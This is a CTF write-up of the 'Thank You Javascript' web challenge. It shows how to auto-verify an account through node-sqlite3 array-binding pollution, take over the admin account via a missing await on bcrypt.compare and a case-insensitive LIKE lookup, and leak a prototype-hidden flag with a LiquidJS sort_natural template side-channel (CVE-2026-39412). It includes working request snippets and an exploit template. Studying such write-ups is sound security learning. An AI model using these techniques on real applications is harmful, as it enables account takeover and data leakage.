pwneglyph logo
web web-server nodejs express node-sqlite3 array-binding parameter-pollution type-confusion sql-placeholder-shift verification-bypass bcrypt missing-await promise-always-truthy sql-like case-insensitive password-reset liquidjs ssti cve-2026-39412 sort-natural prototype-leak ownpropertyonly-bypass side-channel group-by-exp

Register with email as an array so node-sqlite3 shifts bindings and leaves verification_code NULL (auto-verified). A missing await on bcrypt.compare plus a case-insensitive LIKE lets ADMIN reset the real admin's password. Then CVE-2026-39412 (LiquidJS sort_natural) leaks the prototype-hidden flag via a sorting side-channel.

Thank You Javascript — sqlite3 array-binding + missing-await bcrypt → LiquidJS sort_natural prototype leak

CTF: Plfanzen 2026 · Category: Web (server-side) · Author: Jorian · 35 solves

Challenge overview

An Express app that's a homage to JavaScript's quirks. The flag lives on the prototype of a Flag class; the only place a Flag instance is exposed is the admin-only /debug-template, which renders an attacker-supplied LiquidJS template with a fresh Flag() in scope:

app.post("/debug-template", async (req, res) => {
    if (!res.locals.user?.is_admin) return res.status(400).send("You must be admin to debug templates");
    const flag = new Flag();
    res.send(await liquid.parseAndRender(req.body.template, { flag }));
});

LiquidJS runs with ownPropertyOnly: true (default), so flag.name is undefined — normal access won't walk the prototype. Only the liquidjs version is pinned (10.25.3), hinting at a CVE for the final step. So the plan: become admin → CVE to read the prototype.

Step 1 — auto-verify via node-sqlite3 array-binding pollution

Registration inserts with four placeholders and a server-generated verification_code; login refuses accounts where verification_code !== null, and there's no way to learn the code:

await db.runAsync(
  "INSERT INTO users (email, username, password_hash, verification_code) VALUES (?, ?, ?, ?)",
  email, username, password_hash, verification_code);

No type checks on the body. node-sqlite3 has a quirk: if the first bind argument is an array, it expands that array into the placeholders and ignores the rest:

// node-sqlite3 Statement::Bind
if (info[start].IsArray()) {
    auto array = info[start].As<Napi::Array>();
    for (int i = 0, pos = 1; i < length; i++, pos++)
        baton->parameters.emplace_back(BindParameter(array.Get(i), i + 1));
}   // subsequent scalar args dropped

So send email as a 3-element array — it fills email, username, password_hash, leaving the 4th placeholder (verification_code) unbound → SQLite defaults it to NULL. The account is "verified" on creation:

requests.post(URL+"/register", json={
    "email": ["ADMIN", "ADMIN", "<bcrypt-or-anything>"],   # array shifts the bindings
    "username": "ADMIN", "password": "x"})                  # body username/password ignored by the insert

SQLite's UNIQUE is BINARY (case-sensitive), so ADMINadmin and the insert succeeds; LIKE (next step) is case-insensitive — that asymmetry is the whole trick.

Step 2 — reset the real admin's password

/update-password doesn't need a verified account and has two bugs:

const user = await db.getAsync("SELECT * FROM users WHERE username LIKE ?", username);  // bug 2
if (bcrypt.compare(old_password, user.password_hash)) {                                  // bug 1
    const h = await bcrypt.hash(new_password, 10);
    await db.runAsync("UPDATE users SET password_hash = ? WHERE id = ?", h, user.id);
}
  • Missing await on bcrypt.compare. It returns a Promise (always truthy), so the if always passes regardless of old_password.
  • LIKE instead of =. SQLite LIKE is case-insensitive and get() returns the first row in ROWID order. Logged in as ADMIN, sending username=ADMIN matches the original admin row first → we rewrite the real admin's password.
s.post(URL+"/update-password", data={"username":"ADMIN","old_password":"whatever","new_password":"pwned"})
# then log in as admin / pwned

Step 3 — CVE-2026-39412: leak the prototype flag via sort_natural

LiquidJS 10.25.3 is vulnerable to CVE-2026-39412 (GHSA-rv5g-f82m-qrvv): sort_natural reads the sort key with bracket notation, which walks the prototype chain, ignoring ownPropertyOnly:

(lhs, rhs) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])  // prototype-walking

So sorting an array containing the Flag instance by name orders it by the prototype's flag value — the position of Flag in the sorted output is a side-channel for the secret. Unlike the advisory PoC we can't write JS to build probe objects; we only control the template. group_by_exp manufactures objects whose name we control (it sets each group's name to the key, and items to the originals):

{%- assign chars = '0,1,2,3,4,5,6,7,8,9,_,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,}' | split: ',' -%}
{%- assign probes = chars | group_by_exp: 'char', "'plfanzen{' | append: char" -%}
{%- assign all = probes | push: flag -%}
{%- assign sorted = all | sort_natural: 'name' -%}
{%- for x in sorted %}|{{ x.items }}{% endfor -%}|

Each probe group's name is plfanzen{<char>; sorting interleaves the real Flag (sorted by its full prototype name) among them. Flag has no .items, so it prints empty — the || gap marks where it landed, and the char just before the gap is the next flag character. Re-run, appending known chars into the group_by_exp expression, to binary-walk the flag:

|0|1|2|3|4|5|6|7|8|9|_|a|b|c|d|e|f||g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|}|
                              ^^  -> next char is 'f'

(Use https://liquidjs.com/playground.html to craft the template.) Looping this yields:

Flag: plfanzen{w1th_4n_4rr4y_0f_3xpl01ts_1_pr0m1s3_y0u_w1ll_l1k3_th1s_s0rt_0f_th1ng}

Takeaways (generalized techniques)

  • node-sqlite3 array-binding pollution: passing an array as the first bind argument expands it across placeholders and ignores later args — shift the bindings to leave a trailing placeholder unbound (→ NULL). Great for nulling a verification_code/is_admin-style column. No type checks on JSON body = the enabler.
  • Missing await on an async predicate (if (bcrypt.compare(...))) → a Promise object that is always truthy → auth check always passes.
  • LIKE instead of = for identity lookups is case-insensitive; combined with case-sensitive UNIQUE you can register a near-duplicate (ADMIN) that resolves to the privileged row (admin).
  • LiquidJS sort_natural (CVE-2026-39412) bypasses ownPropertyOnly by reading the sort key via prototype-walking bracket access. With only template control, group_by_exp/group_by manufacture objects with attacker-controlled name, turning sort order into a char-by-char prototype-leak side-channel.

Sources & references